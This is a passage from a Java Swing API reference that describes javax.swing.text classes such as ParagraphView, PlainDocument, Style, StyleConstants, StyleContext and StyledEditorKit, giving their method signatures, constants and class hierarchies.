 | public abstract Highlighter.Highlight[ ] getHighlights ();
 | public abstract void install (JTextComponent c);
 | public abstract void paint (java.awt.Graphics g);
 | public abstract void removeAllHighlights ();
 | public abstract void removeHighlight (Object tag);
}

Hierarchy: Object-->LayeredHighlighter(Highlighter)

Subclasses: DefaultHighlighter

LayeredHighlighter.LayerPainter Java 1.2
javax.swing.text

This abstract inner class implements Highlighter.HighlightPainter and adds another abstract method. Typical applications do not need to use or implement this class and can rely on the DefaultHighlighter.DefaultHighlightPainter implementation.

public abstract static class LayeredHighlighter.LayerPainter implements Highlighter.HighlightPainter {
// | Public Constructors
 | public LayerPainter ();
// | Public Instance Methods
 | public abstract java.awt.Shape paintLayer (java.awt.Graphics g, int p0, int p1, java.awt.Shape viewBounds, JTextComponent editor, View view);
// | Methods Implementing Highlighter.HighlightPainter
 | public abstract void paint (java.awt.Graphics g, int p0, int p1, java.awt.Shape bounds, JTextComponent c);
}

Subclasses: DefaultHighlighter.DefaultHighlightPainter

Type Of: DefaultHighlighter.DefaultPainter

MutableAttributeSet Java 1.2
javax.swing.text

This interface extends AttributeSet to add methods that allow the set of attributes and parent attributes to be modified. See also AttributeSet and Style.

public abstract interface MutableAttributeSet extends AttributeSet {
// | Public Instance Methods
 | public abstract void addAttribute (Object name, Object value);
 | public abstract void addAttributes (AttributeSet attributes);
 | public abstract void removeAttribute (Object name);
 | public abstract void removeAttributes (AttributeSet attributes);
 | public abstract void removeAttributes (java.util.Enumeration names);
 | public abstract void setResolveParent (AttributeSet parent);
}

Hierarchy: (MutableAttributeSet(AttributeSet))

Implementations: AbstractDocument.AbstractElement, SimpleAttributeSet, Style

Passed To: Too many methods to list.

Returned By: JTextPane.getInputAttributes(), StyleContext.createLargeAttributeSet(), StyledEditorKit.getInputAttributes(), javax.swing.text.html.HTMLEditorKit.getInputAttributes(), javax.swing.text.html.StyleSheet.createLargeAttributeSet()

Type Of: javax.swing.text.html.HTMLDocument.HTMLReader.charAttr

ParagraphView Java 1.2
javax.swing.text

This BoxView subclass displays a column of subviews, one for each row or line in the paragraph. These rows are implemented by a private internal BoxView class. ParagraphView handles word wrapping by breaking its views as necessary to fit them into the row views it creates. ParagraphView supports various paragraph-level attributes such as margins, line spacing, and first-line indent.

public class ParagraphView extends BoxView implements TabExpander {
// | Public Constructors
 | public ParagraphView (javax.swing.text.Element elem);
// | Public Instance Methods
 | public View breakView (int axis, float len, java.awt.Shape a);
 | public int getBreakWeight (int axis, float len);
// | Methods Implementing TabExpander
 | public float nextTabStop (float x, int tabOffset);
// | Public Methods Overriding BoxView
 | public float getAlignment (int axis);
 | public void paint (java.awt.Graphics g, java.awt.Shape a);
// | Protected Methods Overriding BoxView
 | protected SizeRequirements calculateMinorAxisRequirements (int axis, SizeRequirements r);
 | protected boolean flipEastAndWestAtEnds (int position, Position.Bias bias);
 | protected void layout (int width, int height);
// | Public Methods Overriding CompositeView
 | public void changedUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
 | public void insertUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
 | public void removeUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
// | Protected Methods Overriding CompositeView
 | protected int getNextNorthSouthVisualPositionFrom (int pos, Position.Bias b, java.awt.Shape a, int direction, Position.Bias[ ] biasRet) throws BadLocationException;
 | protected View getViewAtPosition (int pos, java.awt.Rectangle a);
 | protected int getViewIndexAtPosition (int pos);
 | protected void loadChildren (ViewFactory f);
// | Protected Instance Methods
 | protected void adjustRow (ParagraphView.Row r, int desiredSpan, int x);
 | protected int findOffsetToCharactersInString (char[ ] string, int start);
 | protected int getClosestPositionTo (int pos, Position.Bias b, java.awt.Shape a, int direction, Position.Bias[ ] biasRet, int rowIndex, int x) throws BadLocationException;
 | protected View getLayoutView (int index);
 | protected int getLayoutViewCount ();
 | protected float getPartialSize (int startOffset, int endOffset);
 | protected float getTabBase ();
 | protected TabSet getTabSet ();
 | protected void setFirstLineIndent (float fi);
 | protected void setJustification (int j);
 | protected void setLineSpacing (float ls);
 | protected void setPropertiesFromAttributes ();
// | Protected Instance Fields
 | protected int firstLineIndent ;
}

Hierarchy: Object-->View(SwingConstants)-->CompositeView-->BoxView-->javax.swing.text.ParagraphView(TabExpander)

Subclasses: javax.swing.text.html.ParagraphView

PasswordView Java 1.2
javax.swing.text

This view displays a single line of text in a way that is suitable for the JPasswordField component.

public class PasswordView extends FieldView {
// | Public Constructors
 | public PasswordView (javax.swing.text.Element elem);
// | Public Methods Overriding FieldView
 | public java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException;
 | public int viewToModel (float fx, float fy, java.awt.Shape a, Position.Bias[ ] bias);
// | Protected Methods Overriding PlainView
 | protected int drawSelectedText (java.awt.Graphics g, int x, int y, int p0, int p1) throws BadLocationException;
 | protected int drawUnselectedText (java.awt.Graphics g, int x, int y, int p0, int p1) throws BadLocationException;
// | Protected Instance Methods
 | protected int drawEchoCharacter (java.awt.Graphics g, int x, int y, char c);
}

Hierarchy: Object-->View(SwingConstants)-->PlainView(TabExpander)-->FieldView-->PasswordView

PlainDocument | Java 1.2
javax.swing.text | serializable

This concrete AbstractDocument subclass defines a plain-text document with no character attributes. The root element of the document has one child element for each line in the document. By default, PlainDocument uses a GapContent object to hold its textual content. Applications rarely need to work with a PlainDocument class directly. Typically, they can simply use the JTextArea or JTextField components for displaying and editing text.

public class PlainDocument extends AbstractDocument {
// | Public Constructors
 | public PlainDocument (); |
// | Protected Constructors
 | protected PlainDocument (AbstractDocument.Content c); |
// | Public Constants
 | public static final String lineLimitAttribute ; | ="lineLimit"
 | public static final String tabSizeAttribute ; | ="tabSize"
// | Public Methods Overriding AbstractDocument
 | public javax.swing.text.Element getDefaultRootElement (); | default:BranchElement
 | public javax.swing.text.Element getParagraphElement (int pos); |
// | Protected Methods Overriding AbstractDocument
 | protected void insertUpdate (AbstractDocument.DefaultDocumentEvent chng, AttributeSet attr); |
 | protected void removeUpdate (AbstractDocument.DefaultDocumentEvent chng); |
// | Protected Instance Methods
 | protected AbstractDocument.AbstractElement createDefaultRoot (); |
}

Hierarchy: Object-->AbstractDocument(Document,Serializable)-->PlainDocument

PlainView Java 1.2
javax.swing.text

This View class is used to display multiple lines of plain text. It can perform tab expansion, but it does not perform line wrapping. See also WrappedPlainView.

public class PlainView extends View implements TabExpander {
// | Public Constructors
 | public PlainView (javax.swing.text.Element elem);
// | Methods Implementing TabExpander
 | public float nextTabStop (float x, int tabOffset);
// | Public Methods Overriding View
 | public void changedUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
 | public float getPreferredSpan (int axis);
 | public void insertUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
 | public java.awt.Shape modelToView (int pos, java.awt.Shape a, Position.Bias b) throws BadLocationException;
 | public void paint (java.awt.Graphics g, java.awt.Shape a);
 | public void preferenceChanged (View child, boolean width, boolean height);
 | public void removeUpdate (javax.swing.event.DocumentEvent changes, java.awt.Shape a, ViewFactory f);
 | public int viewToModel (float fx, float fy, java.awt.Shape a, Position.Bias[ ] bias);
// | Protected Instance Methods
 | protected void drawLine (int lineIndex, java.awt.Graphics g, int x, int y);
 | protected int drawSelectedText (java.awt.Graphics g, int x, int y, int p0, int p1) throws BadLocationException;
 | protected int drawUnselectedText (java.awt.Graphics g, int x, int y, int p0, int p1) throws BadLocationException;
 | protected final Segment getLineBuffer ();
 | protected int getTabSize ();
// | Protected Instance Fields
 | protected java.awt.FontMetrics metrics ;
}

Hierarchy: Object-->View(SwingConstants)-->PlainView(TabExpander)

Subclasses: FieldView

Position Java 1.2
javax.swing.text

This interface describes a position within a Document in a way that is insensitive to insertions and deletions within the document. The getOffset() method returns the character offset of that position. For editable documents, a Position object must keep track of edits and adjust the character offset as necessary.

public abstract interface Position {
// | Inner Classes
 | ;
// | Public Instance Methods
 | public abstract int getOffset ();
}

Returned By: AbstractDocument.{createPosition(), getEndPosition(), getStartPosition()}, AbstractDocument.Content.createPosition(), Document.{createPosition(), getEndPosition(), getStartPosition()}, GapContent.createPosition(), StringContent.createPosition()

Position.Bias Java 1.2
javax.swing.text

The Document interface describes positions within the document using integer offsets. These numbers refer not to the actual characters of the document, but to the spaces between the characters. This means that, in some cases, a simple integer position might refer to either the character before it or the character after it. In ambiguous cases, therefore, the position must be augmented with a bias value. This inner class defines the two legal bias values: Position.Bias.Backward and Position.Bias.Forward. A number of methods in the javax.swing.text package require one or the other of these constants as an argument.

public static final class Position.Bias {
// | No Constructor
// | Public Constants
 | public static final Position.Bias Backward ;
 | public static final Position.Bias Forward ;
// | Public Methods Overriding Object
 | public String toString ();
}

Passed To: Too many methods to list.

Type Of: Position.Bias.{Backward, Forward}

Segment Java 1.2
javax.swing.text

The Segment class represents a segment of text through three public fields. These are a reference to a character array, the array offset of the first character in the array, and the number of characters in the segment. This is an efficient way to pass references to text segments, since it does not require new String objects to be created. However, it is dangerous because it exposes the character array directly and makes it vulnerable to changes. Users of a Segment object must treat the text segment as if it were immutable, using it for read-only access to the text.

public class Segment {
// | Public Constructors
 | public Segment ();
 | public Segment (char[ ] array, int offset, int count);
// | Public Methods Overriding Object
 | public String toString ();
// | Public Instance Fields
 | public char[ ] array ;
 | public int count ;
 | public int offset ;
}

Passed To: AbstractDocument.getText(), AbstractDocument.Content.getChars(), Document.getText(), GapContent.getChars(), StringContent.getChars(), Utilities.{drawTabbedText(), getBreakLocation(), getTabbedTextOffset(), getTabbedTextWidth()}

Returned By: PlainView.getLineBuffer(), WrappedPlainView.getLineBuffer()

SimpleAttributeSet | Java 1.2
javax.swing.text | cloneable serializable

This class is a simple implementation of the MutableAttributeSet interface that uses an internal hashtable. See AttributeSet and MutableAttributeSet for details. When working with many attribute sets, it may be more efficient to define styles using a StyleContext object.

public class SimpleAttributeSet implements Cloneable, MutableAttributeSet, Serializable {
// | Public Constructors
 | public SimpleAttributeSet (); |
 | public SimpleAttributeSet (AttributeSet source); |
// | Public Constants
 | public static final AttributeSet EMPTY ; |
// | Public Instance Methods
 | public boolean isEmpty (); | default:true
// | Methods Implementing AttributeSet
 | public boolean containsAttribute (Object name, Object value); |
 | public boolean containsAttributes (AttributeSet attributes); |
 | public AttributeSet copyAttributes (); |
 | public Object getAttribute (Object name); |
 | public int getAttributeCount (); | default:0
 | public java.util.Enumeration getAttributeNames (); |
 | public AttributeSet getResolveParent (); | default:null
 | public boolean isDefined (Object attrName); |
 | public boolean isEqual (AttributeSet attr); |
// | Methods Implementing MutableAttributeSet
 | public void addAttribute (Object name, Object value); |
 | public void addAttributes (AttributeSet attributes); |
 | public void removeAttribute (Object name); |
 | public void removeAttributes (java.util.Enumeration names); |
 | public void removeAttributes (AttributeSet attributes); |
 | public void setResolveParent (AttributeSet parent); |
// | Public Methods Overriding Object
 | public Object clone (); |
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->SimpleAttributeSet(Cloneable,MutableAttributeSet(AttributeSet),Serializable)

Returned By: javax.swing.text.html.parser.Parser.getAttributes()

StringContent | Java 1.2
javax.swing.text | serializable

This class is a simple implementation of the AbstractDocument.Content interface based on simple String manipulation. It is suitable only for short documents. By default, all documents derived from AbstractDocument use the GapContent implementation instead of StringContent.

public final class StringContent implements AbstractDocument.Content, Serializable {
// | Public Constructors
 | public StringContent ();
 | public StringContent (int initialLength);
// | Methods Implementing AbstractDocument.Content
 | public Position createPosition (int offset) throws BadLocationException;
 | public void getChars (int where, int len, Segment chars) throws BadLocationException;
 | public String getString (int where, int len) throws BadLocationException;
 | public javax.swing.undo.UndoableEdit insertString (int where, String str) throws BadLocationException;
 | public int length ();
 | public javax.swing.undo.UndoableEdit remove (int where, int nitems) throws BadLocationException;
// | Protected Instance Methods
 | protected java.util.Vector getPositionsInRange (java.util.Vector v, int offset, int length);
 | protected void updateUndoPositions (java.util.Vector positions);
}

Hierarchy: Object-->StringContent(AbstractDocument.Content,Serializable)

Style Java 1.2
javax.swing.text

This interface extends MutableAttributeSet by adding both a convenience method for retrieving the name of the attribute set and ChangeListener registration methods. A Style object is typically used to represent a named set of attributes. The style name is usually stored as an attribute. Because a Style is a kind of MutableAttributeSet, objects that use the style may want to know when the attributes of the Style change. Interested listeners can register with the addChangeListener() method. They are notified with a ChangeEvent when attributes are added to or removed from the Style.

public abstract interface Style extends MutableAttributeSet {
// | Event Registration Methods (by event name)
 | public abstract void addChangeListener (javax.swing.event.ChangeListener l);
 | public abstract void removeChangeListener (javax.swing.event.ChangeListener l);
// | Public Instance Methods
 | public abstract String getName ();
}

Hierarchy: (Style(MutableAttributeSet(AttributeSet)))

Implementations: StyleContext.NamedStyle

Passed To: JTextPane.{addStyle(), setLogicalStyle()}, DefaultStyledDocument.{addStyle(), setLogicalStyle(), styleChanged()}, StyleContext.addStyle(), StyleContext.NamedStyle.NamedStyle(), StyledDocument.{addStyle(), setLogicalStyle()}

Returned By: JTextPane.{addStyle(), getLogicalStyle(), getStyle()}, DefaultStyledDocument.{addStyle(), getLogicalStyle(), getStyle()}, StyleContext.{addStyle(), getStyle()}, StyledDocument.{addStyle(), getLogicalStyle(), getStyle()}, javax.swing.text.html.StyleSheet.getRule()

StyleConstants Java 1.2
javax.swing.text

This class defines a number of standard attribute keys for commonly used character and paragraph attributes. It also defines a number of static convenience methods that use these attributes to query the value of an attribute from an AttributeSet or to set the value of an attribute in a MutableAttributeSet.

Usually, the type of the value to be associated with an attribute key is obvious from the context. The method signatures for the static get and set methods make the value explicit. The value associated with the Alignment key should be one of the four ALIGN_ constants defined by the class. Any length values associated with attributes such as LeftIndent and LineSpacing should be float values expressed in printer's points (there are 72 printer's points in one inch).

StyleConstants defines four inner subclasses, each of which implements a different marker interface that serves to group attribute keys into broad categories. These inner classes define attribute key constants as well, but these constants are also available directly from the StyleConstants class.

public class StyleConstants {
// | No Constructor
// | Public Constants
 | public static final int ALIGN_CENTER ; | =1
 | public static final int ALIGN_JUSTIFIED ; | =3
 | public static final int ALIGN_LEFT ; | =0
 | public static final int ALIGN_RIGHT ; | =2
 | public static final Object Alignment ; |
 | public static final Object Background ; |
 | public static final Object BidiLevel ; |
 | public static final Object Bold ; |
 | public static final Object ComponentAttribute ; |
 | public static final String ComponentElementName ; | ="component"
 | public static final Object ComposedTextAttribute ; |
 | public static final Object FirstLineIndent ; |
 | public static final Object FontFamily ; |
 | public static final Object FontSize ; |
 | public static final Object Foreground ; |
 | public static final Object IconAttribute ; |
 | public static final String IconElementName ; | ="icon"
 | public static final Object Italic ; |
 | public static final Object LeftIndent ; |
 | public static final Object LineSpacing ; |
 | public static final Object ModelAttribute ; |
 | public static final Object NameAttribute ; |
 | public static final Object Orientation ; |
 | public static final Object ResolveAttribute ; |
 | public static final Object RightIndent ; |
 | public static final Object SpaceAbove ; |
 | public static final Object SpaceBelow ; |
 | public static final Object StrikeThrough ; |
 | public static final Object Subscript ; |
 | public static final Object Superscript ; |
 | public static final Object TabSet ; |
 | public static final Object Underline ; |
// | Inner Classes
 | ; |
 | ; |
 | ; |
 | ; |
// | Public Class Methods
 | public static int getAlignment (AttributeSet a); |
 | public static java.awt.Color getBackground (AttributeSet a); |
 | public static int getBidiLevel (AttributeSet a); |
 | public static Component getComponent (AttributeSet a); |
 | public static float getFirstLineIndent (AttributeSet a); |
 | public static String getFontFamily (AttributeSet a); |
 | public static int getFontSize (AttributeSet a); |
 | public static java.awt.Color getForeground (AttributeSet a); |
 | public static Icon getIcon (AttributeSet a); |
 | public static float getLeftIndent (AttributeSet a); |
 | public static float getLineSpacing (AttributeSet a); |
 | public static float getRightIndent (AttributeSet a); |
 | public static float getSpaceAbove (AttributeSet a); |
 | public static float getSpaceBelow (AttributeSet a); |
 | public static TabSet getTabSet (AttributeSet a); |
 | public static boolean isBold (AttributeSet a); |
 | public static boolean isItalic (AttributeSet a); |
 | public static boolean isStrikeThrough (AttributeSet a); |
 | public static boolean isSubscript (AttributeSet a); |
 | public static boolean isSuperscript (AttributeSet a); |
 | public static boolean isUnderline (AttributeSet a); |
 | public static void setAlignment (MutableAttributeSet a, int align); |
 | public static void setBackground (MutableAttributeSet a, java.awt.Color fg); |
 | public static void setBidiLevel (MutableAttributeSet a, int o); |
 | public static void setBold (MutableAttributeSet a, boolean b); |
 | public static void setComponent (MutableAttributeSet a, Component c); |
 | public static void setFirstLineIndent (MutableAttributeSet a, float i); |
 | public static void setFontFamily (MutableAttributeSet a, String fam); |
 | public static void setFontSize (MutableAttributeSet a, int s); |
 | public static void setForeground (MutableAttributeSet a, java.awt.Color fg); |
 | public static void setIcon (MutableAttributeSet a, Icon c); |
 | public static void setItalic (MutableAttributeSet a, boolean b); |
 | public static void setLeftIndent (MutableAttributeSet a, float i); |
 | public static void setLineSpacing (MutableAttributeSet a, float i); |
 | public static void setRightIndent (MutableAttributeSet a, float i); |
 | public static void setSpaceAbove (MutableAttributeSet a, float i); |
 | public static void setSpaceBelow (MutableAttributeSet a, float i); |
 | public static void setStrikeThrough (MutableAttributeSet a, boolean b); |
 | public static void setSubscript (MutableAttributeSet a, boolean b); |
 | public static void setSuperscript (MutableAttributeSet a, boolean b); |
 | public static void setTabSet (MutableAttributeSet a, TabSet tabs); |
 | public static void setUnderline (MutableAttributeSet a, boolean b); |
// | Public Methods Overriding Object
 | public String toString (); |
}

Subclasses: StyleConstants.CharacterConstants, StyleConstants.ColorConstants, StyleConstants.FontConstants, StyleConstants.ParagraphConstants

StyleConstants.CharacterConstants Java 1.2
javax.swing.text

This inner subclass of StyleConstants implements the AttributeSet.CharacterAttribute marker interface and defines various standard attribute key constants for character attributes. Copies of these constants are also defined by StyleConstants itself.

public static class StyleConstants.CharacterConstants extends StyleConstants implements AttributeSet.CharacterAttribute {
// | No Constructor
// | Public Constants
 | public static final Object Background ;
 | public static final Object BidiLevel ;
 | public static final Object Bold ;
 | public static final Object ComponentAttribute ;
 | public static final Object Family ;
 | public static final Object Foreground ;
 | public static final Object IconAttribute ;
 | public static final Object Italic ;
 | public static final Object Size ;
 | public static final Object StrikeThrough ;
 | public static final Object Subscript ;
 | public static final Object Superscript ;
 | public static final Object Underline ;
}
StyleConstants.ColorConstants Java 1.2
javax.swing.text

This inner subclass of StyleConstants implements the AttributeSet.FontAttribute and AttributeSet.CharacterAttribute marker interfaces and defines standard attribute key constants for color attributes. Copies of these constants are also defined by StyleConstants itself.

public static class StyleConstants.ColorConstants extends StyleConstants implements AttributeSet.CharacterAttribute, AttributeSet.ColorAttribute {
// | No Constructor
// | Public Constants
 | public static final Object Background ;
 | public static final Object Foreground ;
}
StyleConstants.FontConstants Java 1.2
javax.swing.text

This inner subclass of StyleConstants implements the AttributeSet.FontAttribute and AttributeSet.CharacterAttribute marker interfaces and defines standard attribute key constants for font attributes. Copies of these constants are also defined by StyleConstants itself.

public static class StyleConstants.FontConstants extends StyleConstants implements AttributeSet.CharacterAttribute, AttributeSet.FontAttribute {
// | No Constructor
// | Public Constants
 | public static final Object Bold ;
 | public static final Object Family ;
 | public static final Object Italic ;
 | public static final Object Size ;
}
StyleConstants.ParagraphConstants Java 1.2
javax.swing.text

This inner subclass of StyleConstants implements the AttributeSet.ParagraphAttribute marker interface and defines various standard attribute key constants for paragraph attributes. Copies of these constants are also defined by StyleConstants itself.

public static class StyleConstants.ParagraphConstants extends StyleConstants implements AttributeSet.ParagraphAttribute {
// | No Constructor
// | Public Constants
 | public static final Object Alignment ;
 | public static final Object FirstLineIndent ;
 | public static final Object LeftIndent ;
 | public static final Object LineSpacing ;
 | public static final Object Orientation ;
 | public static final Object RightIndent ;
 | public static final Object SpaceAbove ;
 | public static final Object SpaceBelow ;
 | public static final Object TabSet ;
}
StyleContext | Java 1.2
javax.swing.text | serializable

This class is a collection of and a factory for Style objects. It is implemented in a way that allows caching and reuse of common attribute sets. Use addStyle() to create a new Style object and add it to the collection. Use the methods of the returned Style object to specify the attributes of the Style. Use getStyle() to look up a Style by name and removeStyle() to delete a Style from the collection. The static getDefaultStyleContext() method returns a default StyleContext object suitable for shared use by multiple documents. StyleContext also includes a simple Font cache. You can access shared Font instances with the getFont() method.

StyleContext also implements the AbstractDocument.AttributeContext interface, which means that it implements various methods for creating new AttributeSet objects by copying existing AttributeSet objects and adding or removing individual attributes. These methods make it possible to implement the MutableAttributeSet or Style interfaces in terms of immutable AttributeSet objects that can be cached and shared. The Style objects returned by addStyle() are instances of StyleContext.NamedStyle, which is implemented in this way. Styles that contain only a small number of attributes are implemented as immutable StyleContext.SmallAttributeSet objects that are cached and reused, resulting in significant memory savings.

public class StyleContext implements AbstractDocument.AttributeContext, Serializable {
// | Public Constructors
 | public StyleContext (); |
// | Public Constants
 | public static final String DEFAULT_STYLE ; | ="default"
// | Inner Classes
 | ; |
 | ; |
// | Public Class Methods
 | public static final StyleContext getDefaultStyleContext (); |
 | public static Object getStaticAttribute (Object key); |
 | public static Object getStaticAttributeKey (Object key); |
 | public static void readAttributeSet (java.io.ObjectInputStream in, MutableAttributeSet a) throws ClassNotFoundException, java.io.IOException; |
 | public static void registerStaticAttributeKey (Object key); |
 | public static void writeAttributeSet (java.io.ObjectOutputStream out, AttributeSet a) throws java.io.IOException; |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
// | Public Instance Methods
 | public Style addStyle (String nm, Style parent); |
 | public java.awt.Color getBackground (AttributeSet attr); |
 | public java.awt.Font getFont (AttributeSet attr); |
 | public java.awt.Font getFont (String family, int style, int size); |
 | public java.awt.FontMetrics getFontMetrics (java.awt.Font f); |
 | public java.awt.Color getForeground (AttributeSet attr); |
 | public Style getStyle (String nm); |
 | public java.util.Enumeration getStyleNames (); |
 | public void readAttributes (java.io.ObjectInputStream in, MutableAttributeSet a) throws ClassNotFoundException, java.io.IOException; |
 | public void removeStyle (String nm); |
 | public void writeAttributes (java.io.ObjectOutputStream out, AttributeSet a) throws java.io.IOException; |
// | Methods Implementing AbstractDocument.AttributeContext
 | public AttributeSet addAttribute (AttributeSet old, Object name, Object value); | synchronized
 | public AttributeSet addAttributes (AttributeSet old, AttributeSet attr); | synchronized
 | public AttributeSet getEmptySet (); |
 | public void reclaim (AttributeSet a); |
 | public AttributeSet removeAttribute (AttributeSet old, Object name); | synchronized
 | public AttributeSet removeAttributes (AttributeSet old, AttributeSet attrs); | synchronized
 | public AttributeSet removeAttributes (AttributeSet old, java.util.Enumeration names); | synchronized
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
 | protected MutableAttributeSet createLargeAttributeSet (AttributeSet a); |
 | protected StyleContext.SmallAttributeSet createSmallAttributeSet (AttributeSet a); |
 | protected int getCompressionThreshold (); |
}

Hierarchy: Object-->StyleContext(AbstractDocument.AttributeContext,Serializable)

Subclasses: javax.swing.text.html.StyleSheet

Passed To: DefaultStyledDocument.DefaultStyledDocument()

Returned By: StyleContext.getDefaultStyleContext()

StyleContext.NamedStyle | Java 1.2
javax.swing.text | serializable

This class is a Style implementation that uses the StyleContext to implement its MutableAttributeSet methods in terms of immutable, possibly shared, AttributeSet objects.

public class StyleContext.NamedStyle implements Serializable, Style {
// | Public Constructors
 | public NamedStyle (); |
 | public NamedStyle (Style parent); |
 | public NamedStyle (String name, Style parent); |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); | Implements:Style
 | public void removeChangeListener (javax.swing.event.ChangeListener l); | Implements:Style
// | Public Instance Methods
 | public void setName (String name); |
// | Methods Implementing AttributeSet
 | public boolean containsAttribute (Object name, Object value); |
 | public boolean containsAttributes (AttributeSet attrs); |
 | public AttributeSet copyAttributes (); |
 | public Object getAttribute (Object attrName); |
 | public int getAttributeCount (); |
 | public java.util.Enumeration getAttributeNames (); |
 | public AttributeSet getResolveParent (); |
 | public boolean isDefined (Object attrName); |
 | public boolean isEqual (AttributeSet attr); |
// | Methods Implementing MutableAttributeSet
 | public void addAttribute (Object name, Object value); |
 | public void addAttributes (AttributeSet attr); |
 | public void removeAttribute (Object name); |
 | public void removeAttributes (AttributeSet attrs); |
 | public void removeAttributes (java.util.Enumeration names); |
 | public void setResolveParent (AttributeSet parent); |
// | Methods Implementing Style
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public String getName (); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
 | protected void fireStateChanged (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
}
StyleContext.SmallAttributeSet Java 1.2
javax.swing.text

This immutable class implements the AttributeSet interface using a simple Object array, rather than a hashtable. This implementation is memory efficient and time efficient for small attribute sets.

public class StyleContext.SmallAttributeSet implements AttributeSet {
// | Public Constructors
 | public SmallAttributeSet (Object[ ] attributes);
 | public SmallAttributeSet (AttributeSet attrs);
// | Methods Implementing AttributeSet
 | public boolean containsAttribute (Object name, Object value);
 | public boolean containsAttributes (AttributeSet attrs);
 | public AttributeSet copyAttributes ();
 | public Object getAttribute (Object key);
 | public int getAttributeCount ();
 | public java.util.Enumeration getAttributeNames ();
 | public AttributeSet getResolveParent ();
 | public boolean isDefined (Object key);
 | public boolean isEqual (AttributeSet attr);
// | Public Methods Overriding Object
 | public Object clone ();
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
}

Returned By: StyleContext.createSmallAttributeSet(), javax.swing.text.html.StyleSheet.createSmallAttributeSet()

StyledDocument Java 1.2
javax.swing.text

This interface extends Document with the methods required for styled documents. A styled document allows attributes such as colors and font sizes to be applied to characters and runs of characters in the document. It also allows attributes such as margin sizes and line spacings to be applied to paragraphs. setCharacterAttributes() and setParagraphAttributes() apply a specified set of attributes to the specified region of the document. They can be used to augment or replace the existing attributes of that region. getCharacterElement() and getParagraphElement() return the Element object that most directly represents or contains the character or paragraph at the specified position.

The StyledDocument interface also defines methods for managing styles. A Style object is a named set of attributes, with an optional parent attribute set that is used to look up attributes that are not specified directly in the Style object. addStyle() creates a new Style object and registers it by name with the StyledDocument. getStyle() looks up a Style object by name. The intent of Style objects is to represent named paragraph types such as "heading," "blockquote," and so forth. The setLogicalStyle() method applies one of these named paragraph styles to the paragraph at the specified position. This is the default style for that paragraph, unless it is overridden by attributes specified with setCharacterAttributes() or setParagraphAttributes().

See also DefaultStyledDocument, Element, Style, and AttributeSet.

public abstract interface StyledDocument extends Document {
// | Public Instance Methods
 | public abstract Style addStyle (String nm, Style parent);
 | public abstract java.awt.Color getBackground (AttributeSet attr);
 | public abstract javax.swing.text.Element getCharacterElement (int pos);
 | public abstract java.awt.Font getFont (AttributeSet attr);
 | public abstract java.awt.Color getForeground (AttributeSet attr);
 | public abstract Style getLogicalStyle (int p);
 | public abstract javax.swing.text.Element getParagraphElement (int pos);
 | public abstract Style getStyle (String nm);
 | public abstract void removeStyle (String nm);
 | public abstract void setCharacterAttributes (int offset, int length, AttributeSet s, boolean replace);
 | public abstract void setLogicalStyle (int pos, Style s);
 | public abstract void setParagraphAttributes (int offset, int length, AttributeSet s, boolean replace);
}

Hierarchy: (StyledDocument(Document))

Implementations: DefaultStyledDocument

Passed To: JTextPane.{JTextPane(), setStyledDocument()}, javax.swing.text.html.MinimalHTMLWriter.MinimalHTMLWriter()

Returned By: JTextPane.getStyledDocument(), StyledEditorKit.StyledTextAction.getStyledDocument()

StyledEditorKit | Java 1.2
javax.swing.text | cloneable serializable

This class is an EditorKit for generic styled text. It is the default EditorKit used to configure the JTextPane component. In addition to the standard EditorKit methods, StyledEditorKit defines getInputAttributes() and getCharacterAttributeRun() as conveniences for the various Action implementations it defines.

public class StyledEditorKit extends DefaultEditorKit {
// | Public Constructors
 | public StyledEditorKit (); |
// | Inner Classes
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
// | Property Accessor Methods (by property name)
 | public Action[ ] getActions (); | Overrides:DefaultEditorKit
 | public javax.swing.text.Element getCharacterAttributeRun (); | default:null
 | public MutableAttributeSet getInputAttributes (); |
 | public ViewFactory getViewFactory (); | Overrides:DefaultEditorKit
// | Public Methods Overriding DefaultEditorKit
 | public Object clone (); |
 | public Document createDefaultDocument (); |
// | Public Methods Overriding EditorKit
 | public void deinstall (JEditorPane c); |
 | public void install (JEditorPane c); |
// | Protected Instance Methods
 | protected void createInputAttributes (javax.swing.text.Element element, MutableAttributeSet set); |
}

Hierarchy: Object-->EditorKit(Cloneable,Serializable)-->DefaultEditorKit-->StyledEditorKit

Subclasses: javax.swing.text.html.HTMLEditorKit, javax.swing.text.rtf.RTFEditorKit

Returned By: JTextPane.getStyledEditorKit(), StyledEditorKit.StyledTextAction.getStyledEditorKit()

StyledEditorKit.AlignmentAction | Java 1.2
javax.swing.text | cloneable serializable

This action class sets the alignment paragraph attribute for the currently selected text in a JEditorPane. StyledEditorKit creates three distinct instances of AlignmentAction to handle left, right, and center alignment. If the command string is set in the ActionEvent, it is interpreted as the integer value to use for the alignment attribute.

public static class StyledEditorKit.AlignmentAction extends StyledEditorKit.StyledTextAction {
// | Public Constructors
 | public AlignmentAction (String nm, int a);
// | Public Methods Overriding AbstractAction
 | public void actionPerformed (java.awt.event.ActionEvent e);
}
StyledEditorKit.BoldAction | Java 1.2
javax.swing.text | cloneable serializable

This action toggles the bold text character attribute, either on the selected text or, if there is no selection, on the current set of attributes used for inserted text.

public static class StyledEditorKit.BoldAction extends StyledEditorKit.StyledTextAction {
// | Public Constructors
 | public BoldAction ();
// | Public Methods Overriding AbstractAction
